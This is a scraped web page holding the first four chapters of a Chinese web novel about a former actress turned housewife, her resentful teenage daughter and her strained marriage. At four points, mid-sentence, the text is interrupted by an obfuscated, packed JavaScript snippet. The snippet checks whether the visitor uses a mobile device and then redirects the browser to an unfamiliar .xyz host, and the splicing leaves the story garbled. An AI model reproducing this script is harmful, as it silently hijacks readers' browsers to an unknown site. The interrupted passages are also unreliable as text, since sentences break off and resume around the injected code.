《我妈是过气影后》 1. 第 1 章 “怎么今天早上又吃汉堡?” 应真将早饭摆上桌,女儿边拉开椅子边问她。 昨天晚上功课做得太晚,没睡够,宁颐然脸色有些臭臭的。 应真将准备好的碗酸奶和水果端上来,看女儿神色恹恹的模样,有些抱歉道:“宝贝,今天周一,上午有体育课,多吃点才有力气上课啊,已经有一阵子没吃汉堡了。” 宁颐然不情不愿地“哦”了一声,拿起面前的汉堡咬了一口,扎实的牛肉口感让她的眉头松开了些。 “怎么样?是不是味道还不错?汉堡胚是妈妈自己做的哦。” 宁颐然看妈妈邀功似的看着自己,淡淡道:“还行吧。” 看女儿似乎胃口不错,应真很高兴。对她来说,如何一礼拜做不重样的中西早餐给女儿吃,是她的头等大事。 为了女儿吃得健康,应真从来不买市面上的预制早餐。汉堡胚是她跟着网上的美食博主学的,里面的肉饼则是她找一家牛排加工厂买的纯安格斯牛肉饼。 趁着女儿吃早餐的功夫,应真赶紧给女儿准备白天在学校喝的水。将水壶里里外外洗干净,放进新鲜的百香果果肉,再加一勺蜂蜜,最后接上40度的温水。 为了让女儿在学校多喝点水,她每天都要想办法往里加点料。 准备好女儿喝的水,应真将昨天换下的脏衣脑搬进家政间。家政间有四台洗衣机,内衣、外衣、袜子,不同颜色不同材质,对应不同洗衣机。 女儿吃完早餐,背上书包准备出门。应真匆匆忙忙洗漱完,拿上钥匙开车送女儿去上学。 “你昨天不是说要带早餐给同学吃吗?这个别忘了带。” 出门前,应真想起来早上多做的那个汉堡。女儿昨天放学回来说,同学请她吃午饭了,她要带早餐给同学吃。应真记在心里,早上特意多做了一份汉堡。 宁颐然“哦”了一声,赶紧从妈妈手里接过汉堡,塞进书包里。应真低头换鞋,没注意到女儿脸红了。 以前应真出门前会化个淡妆,稍微收拾下自己。自打女儿上初中后,她就放弃了。每天七点出门,根本来不及。再说她都淡出演艺圈十几年了,已经没什么人认出她来。 宁颐然打开车后座的门,将书包往里头一扔,坐下来便掏出兜里的手机。从家里到学校开车要半个小时,她要用这个时间登微信跟同学聊天。 应真从后视镜里看了女儿一眼,抿着唇:“颐然,妈妈不是你的司机。我们能不能互相尊重一下对方?” 宁颐然抬头对上妈妈的眼神,眉头不耐烦地皱起,拎着书包坐在副驾。反正也是刷手机,她跟她妈又没话说,坐哪都一样。 班级群里,同学们都在聊这个月的妈妈课堂。这次来学校给他们开讲座的是班花易梦楠的妈妈。易梦楠妈妈是个电视剧演员,经常在各大热播剧里露脸,挺有名气的。讲座上易梦楠妈妈跟他们分享了演戏的各种趣事,很有意思,反响非常热烈。 她们班班长在群里转了一篇报道,易梦楠妈妈刚刚在海市电视节金鼎奖上获得了最佳女配角。不知谁在群里发了个“跪拜大佬”的表情包,后面同学跟着刷起屏来。 一群发表情包的同学里头,宁颐然一眼就看到那个大熊猫的头像,她喜欢的男生竟然也回了。原本她心情就不怎么样,这下更糟了。 没过一会,宁颐然和两个死党的小群就弹出群消息。 死党一:“颐然,好像就剩你妈没来了,什么时候你妈会来学校给我们开讲座啊?” 宁颐然撇了撇嘴:“我才不要。她就是个什么都不懂的家庭妇女,去学校能分享什么?” 死党二:“易梦楠的妈妈都能来,你妈为什么不能?你妈好歹以前还得过影后!” 聊到这,宁颐然抬头看了一眼后视镜,一眼就看到她妈额角的几根白发。她脑中闪过易梦楠妈妈的样子,顿时什么兴致都没有了,低头回复死党:“那都是什么时候的事了。从我记事起我妈就是个家庭妇女,每天就知道围着我和我爸转。” 两个死党的妈妈,一个是高级法院的法官,一个是公司的财务总监,显然不理解宁颐然的烦恼。 死党一吐槽她妈工作太忙,一个月也见不到一回。死党二则抱怨她妈每天下班回家还要看书,忙着考证。 宁颐然也加入了吐槽阵营:“昨天晚上我做完作业,出来看到我妈拿本书坐在沙发上看,我正想说‘你装什么’,后来发现她在看言情小说,我就闭嘴了。” 两个死党不约而同发了个捂脸的表情。宁颐然妈妈应该四十多了吧,这么老还看言情小说? 应真一边开车,一边从后视镜里看着女儿。女儿不知道在跟同学聊什么,正对着手机笑。自打上初中以来,母女俩之间话越为越少。不管是在家还是上下学路上,女儿要么戴着耳机,要么对着手机和同学聊天,只有丈夫在家的时候,她才会话多一点。 应真丈夫宁君昊是北市一家游戏公司的老板,工作忙碌。虽然一个月回来不了几次,但他是不折不扣的女儿奴。和绝大多数爸爸一样,平时孩子的事他不闻不问,一到闲下来的时候,就补偿性的宠溺。 偏偏这样孩子反而觉得爸爸好。 想到这,应真又从后视镜里看了女儿一眼,这孩子一路眼睛就没从手机上挪开过。 女儿还小的时候,婆婆就想让他们再生一个,遭到了宁君昊的强烈反对。应真一直记得宁君昊跟她说的那句话:如果然然是个儿子,他可能会考虑再生一个;然然是闺女,他是绝对不可能再生的。 应真自己也不想生二胎。然然出生的时候就是个高需求宝宝,整夜整夜的哭。找了几个月嫂都不合适,最后索性自己带娃。七个月的时候又因为肺炎住院,两岁才能睡整觉。幼儿园三年也经常生病。那几年,女儿把她精力都吸干了。 这辈子,除了然然,她不可能再有别的孩子。至于宁君昊…… 应真思绪蔓延,不知不觉女儿的学校已经近在眼前。 宁颐然和同学吐槽得起劲,一个急刹车,她的身子往前一趔趄,就听到她妈在旁边说:“看了一路的手机了,快到学校了,休息会眼睛吧。” 妈妈不赞成她使用手机,只要稍微多玩了会,她就会唠叨。宁颐然默默翻了个白眼,将手机放下来,头侧向窗外,闭着眼睛打盹。 周一的早晨,路上格外地堵。应真一路急踩油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060838|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,堪堪踩着上课铃到校。女儿上的是北市最好的国际中学。早上校门口就像下饺子一样,停满了各式各样的豪车。应真好不容易见缝插针,找到个可以停车的地方。 宁颐然听到预备铃响了,焦急得眉头拧在一起:“就是你出门耽误了时间!下次周一能不能早点出门!” 她边埋怨边背上书包,甩上车门撒腿往学校跑。 宁颐然刚进校门,就看到死党1号。刚才两人还在手机上聊得欢,这会见了面,死党冲她挤眉弄眼:“我刚才看到你表姐陈穗了。一个又高又帅的年轻男人开车送她来上学的。那男的不是你表姨父吧?” 宁颐然不高兴了:“怎么可能?我表姨父比我爸年纪还大。” 再说了,陈穗是她表姐吗?宁颐然暗自腹诽。 陈穗的妈是她妈妈的表姐。用奶奶的话来说,她和陈穗都是第四代了,根本算不上近亲。 如果不是爸爸的关系,以陈穗家的条件根本进不了培华。听奶奶说,陈穗以后出国读书的钱,也是爸爸出。 宁颐然跟妈妈那边的亲戚来往得比较少。在学校遇到陈穗最多打声招呼的事。她没好意思告诉死党,那男的是陈穗妈妈,也就是她表姨,新找的男朋友。宁颐然也是偷听她爸妈聊天,才知道表姨离婚后找了个大学刚毕业的男朋友。 表姨是古筝老师,自己开了个工作室带学生。自打交了小男友后,早上也不送女儿上学了,让自己男朋友送,她在家睡懒觉。 有时候,宁颐然挺同情陈穗的。父母离婚后,陈穗像个皮球被人踢来踢去。 说到这,宁颐然想到前几天她妈妈问她,“如果我和你爸爸离婚,你跟谁?” 当时她就想,她妈妈肯定是被自个表姐离婚的事刺激到了。 宁颐然还真想过这个问题,如果爸妈离婚,她肯定是跟爸爸的。爸爸从来不唠叨她,她要什么都尽量满足。不像妈妈管东管西,每天不是让她多穿点,就是让她多吃点。一开口都是些没营养的内容。 不过宁颐然并不觉得妈妈会跟爸爸离婚。爸爸虽然不常回家,但是家里的主心骨。妈妈要是离婚,上哪去找比爸爸条件更好的男人? 教室门口,宁颐然被班主任逮个正着,“宁颐然,你那个手机进校园申请表还没交。班上就你没交了。明天要是再不给我,你可不能带手机到学校来了。” 宁颐然吐了吐舌头,“老师,我忘了,明天我肯定记得带!” 她边说边撒腿往教室里跑。明天她能记得才怪!爸爸最近都没回家,没人帮她签字。 宁颐然坐在自己座位上,下意识摸了摸自己口袋,瞬间从座位上弹了起来。 糟糕!她把手机落在妈妈的车里了! 宁颐然魂不守舍地坐下来,后桌塞给她一张纸条。她打开看了一眼,是那个熊猫头像的主人传过来的。 “我的早餐呢?昨天不是说带早餐给我吗?” 传纸条的人从小练书法,字写得很漂亮。然而今天宁颐然看到那行字,却气不打一处来。 “没带!!!”她用钢笔在纸上写了两个字。 特意多加了两个力透纸背的感叹号,以表达她生气了。 2. 第 2 章 电动伸缩大门缓缓阖上,应真绷了一早上的神经总算松了下来。 当了十四年全职主妇,女儿就是她生活里的小太阳,她几乎每天都围着她的小太阳转。 应真正准备发动车子,看到女儿落在副驾上的手机,拿起来准备待会带回家。手机屏幕闪了一下,弹出来的消息让她目光凝住。 “宁颐然妈妈是年纪大了,有点显老,年轻的时候还是可以的。不然她爸怎么看上她妈的?” 看到消息的瞬间,应真心跳不自主地加快,忽然很想知道青春期的女儿是怎么跟同学聊她的。 她下意识地滑开,对着密码输入几个数字,女儿和同学的聊天信息就这么撞入她的眼睛。 窗外阳光暴烈,车内的应真却起了一层鸡皮疙瘩。她目光怔怔地看着学校大门。才十分钟的功夫,刚才还车水马龙的校门口已经空无一人。 应真的思绪回到十几年前,她和宁君昊认识的时候,宁君昊看上她什么?她当时是怎么那么快就答应他的求婚的? 只能说一切都像是命运安排好的,在她最想结婚的那一年,宁君昊出现了。 她和宁君昊相识在一个饭局。起初她对他的第一印象不怎么样。他个头很高,身材魁梧,长得像她刚出道时合作过的一个男小生。那人是学武术出身,力气很大。她当时才十五岁,饰演他的侍女,遭了不受罪。 席间朋友一直跟她夸赞宁君昊年轻有为,大学没毕业就开始自己创业做游戏,白手起家,不到三十岁就赚到九位数的财富。 应真客套地回应了几句。她并不是个物欲很强的人,对财富数字也没有概念。她十六岁就到北市演戏,除了最开始两年难熬一点,后面一直在演戏,没断过档。她很早就给自己在北市买了套小房子,在金钱上面并不是很匮乏。 听饭桌上人谈论开公司、创业的事,她也插不上话,就一直专心吃东西。中途,她起身去洗手间。回来的时候,在门口听到里头的人在议论她。 “你不是一直说你很喜欢应真吗?今天特意带你来见她,你觉得怎么样?” “比我在电脑上看到的还要漂亮。我没想到她本人这么温柔。能娶到她那样的女人当老婆,绝对是世界上最幸福的男人。” 是宁君昊的声音。应真眉头皱了起来。她讨厌男人背后这么说她。 她等里头说完了,才推门进去,刚好和宁君昊的目光撞个正着。 于是,一个身高一米九的壮汉在她的注视下瞬间红成了烫熟的虾。 那是她这辈子,唯一一次看到宁君昊脸红。后来,她回想起来,可能就是那个脸红让她心动了。 …… 一阵电话铃声打断了应真的思绪,她猛地回过头,掏出自己的手机,是女儿班主任打来的。 “颐然妈妈你好,我是陈老师,颐然这学期的手机进校园申请表一直没交。我提醒她好几次,她都说忘了。请提醒她明天一定要带。没有这个申请表,学校是不允许带手机进校的。” 班主任还没说完,应真便知道女儿为什么说忘了。 女儿刚上初一的时候,就想买手机,她不赞成。为此女儿在家里闹了好多次,最后宁君昊松口给她买。 去年那个表格是宁君昊签的字。今年开学这段时间,宁君昊都在外头忙,一直没回家。宁颐然找不到她父亲给她签字,又不想找她,只能跟老师撒谎说忘了。 应真没有在班主任面前拆穿女儿的谎言,跟老师说了声抱歉,又道:“陈老师,麻烦您把申请表的电子版发给我。我打印好,签好字,晚上放进宁颐然的书包里,您明天直接问她要就好了。” 能进培华的学生,家里都是非富即贵的。班主任知道宁颐然父亲是一家很有名的游戏公司的老板,妈妈以前是个演员。财富圈和演艺圈的结合,这种组合在培华并不少见。听应真客客气气的,班主任语气也缓了下来了,聊了几句宁颐然在学校的表现,便挂了电话。 应真发动汽车,开车回家,下午四点她还要出门接女儿。中间这几个小时是属于她的。 无论如何,一天中最紧张的两个小时过去了,回去的路上,应真努力不去想女儿跟同学说的话,转而去想接下来几个小时要做的事。早上出门的时候,衣服已经塞进洗衣机,回家要拿出来放进烘干机里。晚上打算炖个番茄牛尾汤,要提前把冷冻柜里的牛尾骨拿出来化冻。女儿外教老师回国了,要物色新的老师,昨天机构发了几份简历给她,她还没看完…… 回到家里,应真开始做家务。不知道从什么时候,她喜欢空无一人的家。没有丈夫、女儿牵扯她的注意力,她只需要专注自己手里的事就好了。 把丈夫和女儿的衣服叠好放好,看完几个外教的简历,给机构打了电话,应真的情绪已经调整好了。 上初中的女儿进入了叛逆期。已经记不清多少次气得她开车的时候手都是抖的。她是妈妈,总不可能真的跟自己千辛万苦生下来的宝贝女儿生气。 每一次,她都是自己调整好情绪,努力忘记女儿说过的那些伤人的话,继续做个称职的母亲。 早上急着送女儿,应真还没吃早餐,她做了杯咖啡,从冰箱里拿出个贝果。给自己吃的贝果,自然不需要那么多花样,直接放进微波炉里加热就行了。 应真站在厨房水池前一边喝咖啡,一边看窗外的枫树。她一直觉得全家除了女儿房间,就数厨房的视野最好。 她喜欢在厨房做家务的时候,顺便欣赏窗外的景色。这种闲情也只限她一个人在家的那几个小时。 随手拿起手机点开了朋友圈。黄书韵一大早发了个朋友圈,感谢亲朋好友支持。她刚出版的小说卖出了一千本。然后又截图发了她在晋江文学城开的新文。作为编剧,朋友圈是黄书韵装点给甲方看的门面。她没好意思说那1000本里头有500本是亲闺蜜应真买走的。 应真给她的朋友圈点了赞,然后打开晋江,收藏了她新开的文。作为黄书韵的忠实读者,这些年,她几乎看完了她所有的作品。不仅全文阅读,还真金白银地支持。 黄书韵是应真在演艺圈为数不多的好朋友。两人识于微时,那时她只是个刚出道的小演员,黄书韵则是天天跟在编剧后头的小学徒。一转眼,曾经的跳脱的少女都步入了中年。 这些年,黄书韵编了不少电视剧,始终不温不火。她一直没结婚,编剧之余,还在晋江写小说。 刚点完赞,应真就接到婆婆电话,“上回你给我买的密码锁坏了,无论怎么按都打不开,你赶紧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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婆婆不吭声了,这才招呼应真进去喝水。应真也不好立刻就走,坐下来喝了杯水。跟宁君昊结婚这么多年,女儿都上初中了,她跟婆婆单独相处还是不知道说些什么。 倒是婆婆主动跟她聊起来,一会问起孙女的学习,一会又聊起儿子的身体。 “你让君昊注意点身体。他年轻的时候熬夜熬惯了,现在上了年纪不能再那么熬了。” 这些都是老生常谈的话题。应真一如往常那样应下来。 婆婆坐在一旁,打量着应真,几次欲言又止,最终还是不想错过这个劝说儿媳妇的时机。 “君昊和那个姓宋的女人,现在只是工作上来往的关系。这么多年过去了,君昊早把她放下来,不然不可能跟你结婚。做妻子的,就不要在这种事上跟男人较劲了。” 应真低头看着自己放在膝盖上的手,淡淡道:“妈。我知道。” 婆婆语气缓了缓:“君昊在外头那么拼,还不是为了你和然然。我让你跟君昊再生一个,也是为你好。你要是再生个儿子,君昊肯定……” 应真不想再听下去,她站了起来:“妈,时间不早了,我还要去接然然。我走了。” 从婆婆家出来,应真看了眼时间,剩下的时间也不够回一趟家的,直接去女儿学校好了。 3. 第 3 章 宁颐然今天在学校多少有些心神不宁。手机落在她妈妈的车里了。她一会怕妈妈看到她跟同学聊天的内容,一会又担心妈妈把她手机没收掉,以至于一整天都没怎么听课。 刚上初中的时候,她就因为手机的事跟妈妈大吵一架。吵完又冷战了一个月,那一个月她没喊过一句“妈妈”,最后还是爸爸给她买了手机。 宁颐然和往常一样准时出校门。这次乖乖坐在副驾上,一上车就仔细观察妈妈的表情。妈妈看上去和平时一样,她松了口气,在副驾上一通翻找,“妈,我的手机呢?” “早上落我车里,我给你带回家了。” 宁颐然小脸立刻拉下来,“你干嘛动我手机啊!” 应真的眼睛一直盯着校门,听到这,转过头看着女儿,耐着性子道:“是你自己落在我车里的。我怕放在车里不安全,带回家放在你房间桌上。刚才我去了趟奶奶家,出来就直接来接你。我也不可能时时刻刻带着你的手机出门。” 妈妈那双眼睛扫过来,宁颐然才注意到她有些不高兴,于是板着脸撅着嘴不说话。 没有手机,她不能戴着耳机听歌,也不想跟妈妈说话,只能气呼呼地把头撇头窗外。 反正,路上她绝对不会开口跟她妈说一句话的。绝对! 过了一会,车子还没发动,宁颐然差点破功。一抬头看到她表姐陈穗背着书包,站在学校门口探头探脑的。 应真一边冲外甥女招手,一边对女儿道:“你表姨今天有事,我替她接下穗穗。” 陈穗身型瘦削,校服套在她身上松松垮垮的。她比宁颐然大一岁,个头却要矮很多,头发也少,鼻梁上架着一副眼镜。虽然其貌不扬,但她在培华很出名,是学校奥数集训队的成员,经常代表学校去外头参加比赛。 看到应真,陈穗那张紧皱的小脸终于露出笑容,背着书包朝她们跑过来,打开车门坐在后座,很亲热地冲应真喊了声“姨”,又跟宁颐然打了声招呼。 原本宁颐然打算路上闭着眼睛睡觉,没想到她妈和陈穗一路聊个没完。从每天几点起几点睡,到吃什么喝什么,反正她妈妈一开口永远都这些没营养的话。陈穗竟然一点不觉得烦,路上唧唧喳喳地说个不停。 宁颐然觉都没法睡,又不想说话,只能从书包里拿出在学校订的杂志看。 一到家,她背着书包直接往自己房去了。往常到家,早饿得前胸贴后背,今天她一点也不觉得饿,气都气饱了。 应真看着女儿的背影,眉头皱了起来,叫住女儿:“颐然,穗穗姐姐难得来家里玩,你放下书包过来陪姐姐说说话。” 家里有客人,一定要先打完招呼再回自己房间。女儿从小到大,应真都是这么教育的。往常女儿都很懂礼貌,今天也不知怎么了。 宁颐然脚步顿住,转过头看着她妈,语气仍然有些不耐烦:“我一身的汗,先去洗个澡。” 应真没再说什么,换了身衣服准备继续做晚饭。 陈穗不是头一回来表姨家里,每次来都要感叹表姨家好大。她光着脚踩在大理石地板上,直到姨妈递给她一双拖鞋。 应真看出外甥女的不自在,冲她招招手:“穗穗,你过为帮我摘芹菜。” 陈穗求之不得,放下书包就去了厨房。除了芹菜没来得及摘,应真出门接女儿之前已经备好菜了。番茄牛尾骨汤炖好放在砂锅里保温。鸡腿也煮好了,她套上手套把鸡腿撕成丝,然后切好葱丝和蒜末,淋上准备好的酱汁,拌好放进冰箱里冷藏。 夏天丈夫和女儿都很爱吃凉拌菜。鸡丝拌好后,应真就开始炒热菜。陈穗在一旁认真地看着小姨做菜的步骤。要是她会做饭就好了,以后晚上就可以不用吃外卖。 “小姨,你每天做这么多菜不累吗?” “不累啊。”应真一边炒菜一边问外甥女,“你妈带你搬出去住,现在晚饭谁做呢?” 陈穗神色黯淡下去:“没人做。我妈给我点外卖吃。” “那晚上饿了怎么办?” “喝水呗。” 陈穗摘好芹菜洗干净递给小姨,一抬头发现小姨正温柔地看着她。 外甥女随口一句话,让应真心里发酸,她摸了摸小姑娘的头:“那你今晚多吃点。” 应真十几岁就到北市来演戏,在北市只有姨妈李茹华一门亲戚。刚来北市人生地不熟,她在姨妈家住了好几个月,后来才搬出来自己租房子住。 李茹华和应真婆婆一样很早丈夫就去世了,一个人拉扯着女儿。女儿田佳蕙结婚后,李茹华不想一个人生活。就把名下两套房子都挂出去出租,自己搬到女儿家住。两套房子的租金都拿给女儿女婿补贴家用。 谁知女儿放着好好日子不过,非要离婚,没多久女婿搬出去。李茹华天天在家念叨,没完没了说女儿离婚的事。 田佳蕙哪里受得了,在外头租了一套小两居,带着女儿穗穗一起生活。她和朋友合伙开了个民乐培训工作室,专门教小朋友弹各种乐器。这种课外班时间也不固定,大多在晚上和周末。加上最近田佳蕙又谈了个年下男朋友,有时候还要跟男朋友约会。 于是,陈穗晚上经常一个人在家,晚饭都是她妈帮她点好外卖。 这么多年,应真一直很念姨妈的情。李茹华原本并不是很看上去这个小地方来的外甥女。倒没想到应真到北市后,演戏真的演出了名堂,还找了个条件很好的丈夫。 李茹华现在俨然把应真这个外甥女当成她的主心骨。回回和女儿吵架,都要喊应真来主持公道。 这几个月,应真已经数不清跑了多少趟了。母女吵架吵得再凶,总归还是母女。最后,她里外不是人。 姨妈和表姐现在闹成这样,可苦了穗穗……想到这,应真又忍不住摸了摸外甥女的头。 宁颐然洗完澡出来,就看到陈穗站在她妈妈旁边,两人在厨房有说有笑。宁颐然烦躁得很,这个陈穗话可真多! 她趿着拖鞋,走到厨房门口:“饭什么时候好啊?我饿了。” 女儿一说“饿”,应真就着急,她忙探出头:“已经好了。可以开饭了。” 晚上端上桌,五菜一汤。两个孩子从早上出家门,在外头待了快十个小时。中午在学校吃的那一顿一点不抵饱,这会饿得只顾着埋头吃。 应真每天花很长时间做晚饭,自己却不吃。已经到了晚上稍微多吃一点身体就会有负担的年纪。不过她今天没吃午饭,晚饭放任自己喝了一碗番茄牛尾汤。 餐桌上多了一个人,应真没有像往常一样,看着女儿吃。她的目光停留在外甥女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060840|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,穗穗虽然比然然大一岁,个头却要矮很多。 女儿身高和长相都遗传了她爸爸,就连头发和眉毛都像她爸爸一样浓密。 应真对女儿一点不像自己,多少是有些遗憾的。 吃完饭,宁颐然回房间做作业,陈穗在客厅写。又做了会作业,应真才接到表姐的电话,说车子已经到门口,让穗穗出去。 应真送穗穗出来,门口停了一辆她没见过的宝马汽车。不用问,应真也知道这车子是表姐新交的男朋友的。 兴许是谈了年下男友的缘故,田佳蕙变漂亮了,一头大波浪长发,整个人看上去容光焕发。应真不由想到去年她想离婚的时候那副憔悴的模样。表姐在她面前歇斯底里大哭:“我早就想跟他离婚了,我妈不同意。难道我就要这样跟他耗一辈子吗!” 看到表姐的变化,应真自然替她开心。但一想到穗穗现在跟她住在外头,没人管,又不免心疼孩子。 应真将手里的袋子递给表姐:“上回给然然买洗发水和防晒霜,我给穗穗也多买了一份。” 田佳蕙笑盈盈地接过来,冲她眨眨眼:“谢谢妹妹啦!” 陈穗跟着母亲上了车,从后座探出头来:“小姨再见!” 夏天夜晚,虫鸣蛙叫声四起,应真站在别墅门口,目送她们远去。 回到家,应真收拾完厨房,开始收拾自己。洗完澡出来,听到女儿房间里传出来声音。 宁君昊回来了,父女俩正在聊天。 宁颐然正在跟爸爸聊学校社团里的事,她是培华皮划艇和机器人社团的成员。原本聊得开开心心的,看到妈妈站在门口,宁颐然便改口跟爸爸说起了英文,美其名曰练习口语。 应真没上过高中,初中毕业就去了市里的师范学校。其实,那时候中专分数线上高中绰绰有余,但家里觉得女孩子念个中专就行了,出来当个小学老师挺好的。哪知道她师范还没上完就被剧组看中,直接去拍戏了。这么多年,她的英语早就丢光了。 宁颐然上的国际学校,英语流利,二外还辅修法语。宁君昊是Q大毕业的高材生,英语交流无碍。父女俩在那聊什么,应真一句也听不懂。 如果换以前,应真可能会失落。今天她连失落的心情都没有。 她站在门口问了句:“你吃过晚饭了吗?” 即便人到中年,她的声音始终有一丝少女的清澈夹在其间。她穿着系带睡袍,刚洗完的头发半湿不干的垂在肩上。 宁君昊抬头,看了妻子一眼,“吃过了。” 应真没再说什么,回了卧室。一推开门,迎接她的就是宁君昊扔在地板上的两只袜子。 明明脏衣篓就在几步之外的浴室里,他就是要扔在地上。 已经记不得说了多少遍。难怪女儿说她唠叨。明明父女俩一点听不进去,她还要一遍遍说。 应真把那两只袜子捡起来丢进了脏衣篓。 没有完全吹干的头发把刚换的丝质睡袍洇湿了。她脱下来挂好,换一件睡衣穿上。 刚脱下睡袍,就听到门外传来脚步声,应真有点后悔刚才没有反锁门。她加快速度穿上衣服,偏偏又没开大灯,只留了另一侧床头的小灯,一时分不清睡衣前后。 她上衣还没穿好,宁君昊就进来了。 4. 第 4 章 应真顾不上正反,赶紧将上衣穿上。穿到一半,就被刚进来的男人从后面抱住。 她身材娇小丰满,站起来也就到宁君昊肩膀位置。 结婚这么多年,宁君昊总是喜欢趁她换衣服的时候,从后面以绝对的身高优势将她熊抱在怀里。 四十多的人了,私底下只有夫妻俩在的时候,完全没个正形,根本不像管着几千名员工的游戏公司老板。 卧室里只有一盏床头灯亮着,昏暗的灯光助长了宁君昊的动作。他一手搂着应真,一只手往上,应真的胸跟他的手掌只隔了一层薄薄的真丝布料。 应真此刻完全没心情,不想跟他有任何身体上的接触。她用力挣扎着,想从他怀里出来。 谁料宁君昊抱得更紧,将脑袋埋在她的颈窝轻蹭,温柔道:“老婆,我们和好吧。” 他回来还没换衣服,身上穿着面料挺刮的黑色衬衫,应真被他揽在怀里,一颗心跟他的衬衫一样冷凉。 十几年的夫妻,无需言语,也能通过对方的身体感受到对方的意图。宁君昊想假装上次吵架不存在,还和往常一样向她发出求欢信号。 应真忽然觉得自己很可笑,这几天她一肚子闷气。宁君昊倒好,像个没事人一样。她真不知道他是在装傻充愣,还是完全没把他们的争吵当回事。 不过,现在她也不想去探究这个了。她转过头,抬起那双水凌凌的杏眼看着他:“我们上次为什么吵架,你不会忘了吧?你答应我的,做到了吗?” 昏黄的灯光下,宁君昊眼里的欲望一点点褪去,又成了白天的那个宁总。他抬手开始解衬衫扣子,眉眼间溢出一丝不耐,语气也冷淡下来:“我是个商人。我跟谁合作,从来都是从利益角度出发。况且,你又不是不知道,我最讨厌工作和感情牵扯不清。” 冠冕堂皇的说辞,实在太熟悉,仿佛她再计较,就是她不懂事了。 要么说,男人才是装傻充愣的高手。 应真想到闺蜜调侃她是宁君昊的女神。她算是哪门子女神?宁君昊跟她说话的口气,跟和员工交待工作没什么两样。 也许女儿说的没错,宁君昊当初对她不过是见色起意,他并没有那么爱她。他只是需要一个温柔美丽的妻子,让他没有后顾之忧。 反倒她这些年早已经把丈夫和女儿放在心尖尖上的位置。 应真又想起女儿跟同学发的信息,心头一阵绞痛,眼泪不受控制地掉下来。 看到妻子竟然哭了,宁君昊脸上冷硬的线条软化下来。这些年,他一直觉得应真太适合给他当老婆。性情温柔,又特别爱孩子。他在外头打拼,从来不担心家里。 应真不仅对女儿好,对他妈也好,对他更是柔情似水。她是太爱他了,所以才会吃醋。 宁君昊叹了口气,伸手将她搂在怀里,耐下性子哄着老婆:“我跟宋幼萱真的没什么。” 应真擦了把泪,挣出他的怀抱,弯腰把刚才没来得及穿的睡裤穿上。 宁君昊今天这副态度不过是让她原本就下定的决心更加坚定而已。 两人已经一个多月没有夫妻生活。这一晚,宁君昊格外想要,但被应真拒绝了。 她只说了三个字:“我不想。” 妻子性情温柔,对他向来有求必应,这是她第一次这么生硬地拒绝他。宁君昊黑着脸,一言不发地到书房睡了。 …… 宁颐然早上起来,觉得家里的气氛不对。 往常爸爸在家的时候,妈妈早上会给爸爸也做一份早餐。今天早上,妈妈连咖啡都没给爸爸做。家里的咖啡机爸爸不会用,在那发脾气。 可能是他鼓捣机器的声音太大了,在中厨做早饭的妈妈,听不下去了,还是出来帮他把咖啡做了。妈妈做咖啡的时候,爸爸把脸凑得很近,还压低声音说了句什么,结果妈妈全程板着脸不说话。 宁颐然一看就知道妈妈又在跟爸爸冷战。这诡异的家庭气氛。她并不是不会读空气,这顿早饭她吃得比往常安静。 直到妈妈拿着车钥匙,准备送她去上学,才终于开口跟爸爸说话。 “晚上大概几点回来吃饭?” 应真人已经走到门口,突然想起一件事,转头看着丈夫。 宁君昊一大早被妻子无视,空着肚子喝黑咖,心情不好,没好气道:“我不是说了这周都没时间吗?今天时光之烬上线,下午约了记者来采访,晚上公司要举办庆功宴。” 应真没说什么,出门送女儿去上学了。 幸好妻子才出门没多久,钟点工叶阿姨来了。 宁君昊和应真不喜欢家里有陌生人,这么多年都没有请住家阿姨。叶阿姨干活利索,也不多事,从宁颐然出生起就在他们家干了。每天上午来干一些打扫之类的粗重家务活。 宁君昊让叶阿姨给自己煮碗水饺。吃完便去公司上班了。 应真还在气头上,他不想面对一个生气的妻子。正好最近游戏上线很忙,等过完这阵子,她气消了,他再回来。 叶阿姨看到宁君昊从书房拎出个垃圾袋,忙道:“先生,垃圾袋您就放在家里,等会我一起扔好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060841|162992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁君昊脸上一闪而过的尴尬,很快恢复淡漠:“不用。” 叶阿姨看着他的背影不由犯起了嘀咕。今天是太阳打西边来了,宁先生竟然自己拎着垃圾出门。 * 宁君昊花整整二十年时间,在市中心拥有了独立的办公大楼。 